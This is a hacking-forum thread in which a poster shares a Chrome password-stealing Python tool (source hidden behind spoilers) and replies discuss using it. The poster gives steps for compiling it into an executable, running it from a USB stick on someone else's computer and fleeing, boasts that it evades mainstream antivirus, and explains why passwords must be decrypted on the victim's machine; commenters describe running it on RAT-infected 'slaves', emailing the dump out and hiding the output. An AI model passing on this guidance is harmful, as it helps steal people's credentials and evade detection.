

Forum:[Hack Forums](#)

Thread: [Plug and Steal, Chrome Password Stealer \[Python 3.5\]](#)

05317832892 - February 11, 2017, 10:29 am

Fixed and updated my old password recovery script and made some changes, it was trying to connect to the original database and so it had to wait for chrome to close to connect to the database and recover passwords, this new version makes a copy of the table, extracts info, decrypts and dumps.

Application?

1) Compile to single exe bcoz dependencies are for noobs

Code pyinstaller -F -w recover.pyor

Code pyinstaller -F -w -i myicon.ico recover.py^If you want an icon, please note when u change the icon it bugs because windows caches the previous one, move to a different folder to fix this

2) Put on USB

3) Plug into computer

4) Execute recover.exe

5) Remove USB, now containing dumped passwords

6) Run for your life and if they catch you, eat the USB to conceal evidence, it will come out 6-8 hours later with all the passwords hopefully intact

Source Code:

Spoiler [\(Click to View\)](#)

Scan:

Spoiler [\(Click to View\)](#)

ToS:I ain't responsible for anything

Don't be idiot and scan on virustotal, it's not fun for anyone

s?hane - February 11, 2017, 11:13 am

Thanks for the tutorial man, will definitely use this.

JuicyProgramming - February 11, 2017, 11:15 am

Seems interesting, planning on adding more browsers?

HFDone - February 11, 2017, 11:23 am

this will save you the w mode code

```
def logit(content):  
    with open("dump.txt", "a+") as f:  
        f.write(content)
```

05317832892 - February 11, 2017, 11:24 am

(Feb 11, 2017 12:15 PM)MCFC Wrote: [\[CITE\]](#) Seems interesting, planning on adding more browsers?

Maybe in the future.

(Feb 11, 2017 12:23 PM)HFDone Wrote: [\[CITE\]](#) this will save you the w mode code

```
def logit(content):  
    with open("dump.txt", "a+") as f:  
        f.write(content)
```

Nice, I'll contemplate this.

xthanos - February 11, 2017, 1:46 pm

Why did you scan a python script for malware haha

hunter24957 - February 11, 2017, 2:49 pm

(Feb 11, 2017 02:46 PM)#beef Wrote: [\[CITE\]](#) Why did you scan a python script for malware haha
I was thinking the same thing ?

(?°?°)?(???? - February 11, 2017, 3:42 pm

Code if url != "" and user_name != "" and pwd[1].decode('utf-8') != "":
Can be changed to

Code if url and user_name and pwd[1].decode('utf-8'):

redstone - February 11, 2017, 6:36 pm

I have no idea how the Chrome login data is stored, and I haven't gotten home yet to take an actual look at the script, only skim through the code. Perhaps this is a dumb question, but why not steal the data while it is encrypted, that way when you try to steal your 7th grade teacher's login data, that way there is no possible log evidence of the actual login data being stolen.

HFDone - February 12, 2017, 12:45 am

(Feb 11, 2017 04:42 PM)(?°?°)?(???? Wrote: [\[CITE\]](#) Code if url != "" and user_name != "" and pwd[1].decode('utf-8') != "":

Can be changed to

Code if url and user_name and pwd[1].decode('utf-8'):
cuz the pass is the most important
if pwd: ...

05317832892 - February 12, 2017, 4:33 am

(Feb 11, 2017 02:46 PM)#beef Wrote: [\[CITE\]](#) Why did you scan a python script for malware haha
(Feb 11, 2017 03:49 PM)hunter24957 Wrote: [\[CITE\]](#) I was thinking the same thing ?

Scanned the compiled exe. It's flagged by some private labs when scanned on virustotal but it's FUD to the mainstream AVs as shown in the maj scan.

(Feb 11, 2017 04:42 PM)(?°?°)?(???? Wrote: [\[CITE\]](#) Code *snip*

Can be changed to

Code *snip*

Thanks, I'll update when I'm on my PC.

(Feb 11, 2017 07:36 PM)J. Cole Wrote: [\[CITE\]](#) I have no idea how the Chrome login data is stored, and I haven't gotten home yet to take an actual look at the script, only skim through the code. Perhaps this is a dumb question, but why not steal the data while it is encrypted, that way when you try to steal your 7th grade teacher's login data, that way there is no possible log evidence of the actual login data being stolen.

Stored in an SQLite3 table with the passwords being encrypted with windows built in data protection. It's essentially a triple DES with the key somewhat related to the machine HWID.

Basically the passwords can only be decrypted on the machine they are encrypted on because the algorithm is slightly different on every windows computer, thus we have to decrypt the passwords on the machine that they were encrypted on. Stolen encrypted passwords are useless unless you have access to the machine they were encrypted on. This script steals and decrypts them all in one go.

(Feb 12, 2017 01:45 AM)HFDone Wrote: [\[CITE\]](#) cuz the pass is the most important if pwd: ...

No, his solution works fine, it's just a simple logic test to ensure none of the fields are blank.

..**TroJan**.. - February 13, 2017, 11:18 am

Works great thank you so much :)

FrogSquad4 - February 13, 2017, 12:12 pm

mac version? I noticed it had an error with the win32crypt

05317832892 - February 14, 2017, 2:10 am

(Feb 13, 2017 01:12 PM)FrogSquad4 Wrote: [\[CITE\]](#) mac version? I noticed it had an error with the win32crypt

Mac does not have WINDOWS32crypt lol.

I don't know how chrome on Mac secures passwords.

FrogSquad4 - February 14, 2017, 5:05 am

(Feb 14, 2017 03:10 AM)?Cam? Wrote: [\[CITE\]](#) Mac does not have WINDOWS32crypt lol.

I don't know how chrome on Mac secures passwords.

No, I meat IS there a mac version. I knew macs don't have windows32crypt.

05317832892 - February 14, 2017, 5:36 am

(Feb 14, 2017 06:05 AM)FrogSquad4 Wrote: [\[CITE\]](#) No, I meat IS there a mac version. I knew macs don't have windows32crypt.

Not that I know of.

Vozuth - February 18, 2017, 3:15 am

Am i dump or what? Can i compile it to exe but where those dumps gonna go?

05317832892 - February 18, 2017, 5:07 am

(Feb 18, 2017 04:15 AM)Vozuth Wrote: [\[CITE\]](#) Am i dump or what? Can i compile it to exe but where

those dumps gonna go?

The dump does in the same folder as the exe. So if the exe it's run on your desktop the dump goes on your desktop. If it's run on a USB the dump goes on the USB.

lusr - February 18, 2017, 5:22 am

(Feb 12, 2017 05:33 AM)?Cam? Wrote: [\[CITE\]](#) Basically the passwords can only be decrypted on the machine they are encrypted on because the algorithm is slightly different on every windows computer, thus we have to decrypt the passwords on the machine that they were encrypted on. Stolen encrypted passwords are useless unless you have access to the machine they were encrypted on. This script steals and decrypts them all in one go.

Hi!

Thanks for sharing!

I'm learning python and this is really useful.

One question related on what I quoted above: Does this referred to any kind of encryption? I mean, what if you decrypt the pwd and then, with another string of program, you encrypt in a different way on your usb drive? Does this still need the machine on which they were encrypted?

Other solution could be to create a folder on the usb with property to make it invisible to read: is this possible?

Thank you!

Vozuth - February 18, 2017, 7:18 am

Well its working well, but when i upload to slave via rat and execute it there im getting Failed to execute script :/

05317832892 - February 18, 2017, 12:20 pm

(Feb 18, 2017 06:22 AM)gabr Wrote: [\[CITE\]](#) Hi!

Thanks for sharing!

I'm learning python and this is really useful.

One question related on what I quoted above: Does this referred to any kind of encryption? I mean, what if you decrypt the pwd and then, with another string of program, you encrypt in a different way on your usb drive? Does this still need the machine on which they were encrypted?

Other solution could be to create a folder on the usb with property to make it invisible to read: is this possible?

Thank you!

Didn't think about marking the dump as hidden, seems kind of pointless though. As for your other question, don't quite understand what you mean, the win32crypt is triple DES, the way it utilises DES makes it machine dependent, DES can be used non-machine dependent.

(Feb 18, 2017 08:18 AM)Vozuth Wrote: [\[CITE\]](#) Well its working well, but when i upload to slave via rat and execute it there im getting Failed to execute script :/

"Script", How are you uploading it to a "slave". Make sure it's compiled.

Also when you execute it on the bot, it's probably gonna leave the dump in their temp directory.

Vozuth - February 19, 2017, 2:54 am

I'm uploading to path and execute it, but as i said before im getting failed to execute. Even i tried on my own pc via rat and same thing. But if do it myself its working fine. It's compiled. It doesnt leave dump just after script failed to execute it leaving tempdatabase file which is empty.

05317832892 - February 19, 2017, 3:58 am

(Feb 19, 2017 03:54 AM)Vozuth Wrote: [\[CITE\]](#) I'm uploading to path and execute it, but as i said before im getting failed to execute. Even i tried on my own pc via rat and same thing. But if do it myself its working fine. It's compiled. It doesnt leave dump just after script failed to execute it leaving tempdatabase file which is empty.

Ahh this probably means the user doesn't have chrome installed/has no passwords saved.

Vozuth - February 19, 2017, 4:04 am

I tried it on mine pc and i do have some passwords and when i start it leaves me with the dump of passwords right, but when i execute it via rat, it just leave me with the error and empty tempdatabase file

05317832892 - February 19, 2017, 4:13 am

(Feb 19, 2017 05:04 AM)Vozuth Wrote: [\[CITE\]](#) I tried it on mine pc and i do have some passwords and when i start it leaves me with the dump of passwords right, but when i execute it via rat, it just leave me with the error and empty tempdatabase file

That's why it works on your PC but not the other, because the other PC has no passwords to recover.

Wawawest - February 19, 2017, 3:45 pm

Nice bro

I digg your work

05317832892 - February 19, 2017, 11:41 pm

(Feb 19, 2017 04:45 PM)Wawawest Wrote: [\[CITE\]](#) Nice bro

I digg your work

Thanks! ?

Folks - February 20, 2017, 11:38 pm

So I am working around with the code, and I can't seem to figure out why I can't also delete the dump.txt after it is closed out of? I have it so it creates the file dump, emails the text doc to someone and then tries to delete the doc but it says its still in use.

05317832892 - February 21, 2017, 12:59 pm

(Feb 21, 2017 12:38 AM)Folks Wrote: [\[CITE\]](#) So I am working around with the code, and I can't seem to figure out why I can't also delete the dump.txt after it is closed out of? I have it so it creates the file dump, emails the text doc to someone and then tries to delete the doc but it says its still in use.

How are you emailing it?

Share the code and we can help you with it.

I guess your probably not closing it properly.

Folks - February 21, 2017, 1:41 pm

(Feb 21, 2017 01:59 PM)?Cam? Wrote: [\[CITE\]](#) How are you emailing it?

Share the code and we can help you with it.

I guess your probably not closing it properly.

there may be more elegant ways to be doing the emailing but for now this is what I have. Everything works when adding in correct credentials except for the os.remove("dump.txt").

I also just took out the saving of passwords part for sake of clarity and it still didn't work.

Spoiler ([Click to View](#))

EDIT: So I still don't know why the first doesn't work but even if I have it barebones like create file -> close file -> delete file, It still doesn't work. The way I am currently getting around it something like this.

05317832892 - February 21, 2017, 2:02 pm

(Feb 21, 2017 02:41 PM)Folks Wrote: [CITE](#) there may be more elegant ways to be doing the emailing but for now this is what I have. Everything works when adding in correct credentials except for the os.remove("dump.txt").

I also just took out the saving of passwords part for sake of clarity and it still didn't work.

Spoiler ([Click to View](#))

EDIT: So I still don't know why the first doesn't work but even if I have it barebones like create file -> close file -> delete file, It still doesn't work. The way I am currently getting around it something like this.

```
attachment = open("dump.txt", "rb")
```

Your not closing this.

```
attachment.close()
```

(?°?)?(???? - February 21, 2017, 2:12 pm

Plug for <https://hackforums.net/showthread.php?tid=5557139> (Context managers for files)

newman1 - July 18, 2017, 3:30 pm

I get that I am a complete noob/script kiddie when it comes to this but I cannot for the life of me get it too work.

Made the recover.exe file with the source code inside, but window's keep saying the computer cant run it. advice?

TomDH - January 19, 2018, 2:56 am

Big vouche for this one!
this is so simple!

TomDH - February 19, 2018, 8:27 am

is there any way to make the output a hidden file? I tried to do it but failed :(

nvm I just figured out how to

hungryands - February 23, 2018, 11:14 pm

Nice script. Seems useful. Have you considered adding support for other operating systems like OSX? surely chrome stores the data in a similar fashion.

ColeBot - February 24, 2018, 10:57 am

Seems like a great tutorial, vouch!

corbuk - June 15, 2018, 11:30 am

(Feb 21, 2017 03:02 PM)ROOTED Wrote: [\[CITE\]](#) attachment = open("dump.txt", "rb")

Your not closing this.

attachment.close()

i was literally just about to say that too lol... :)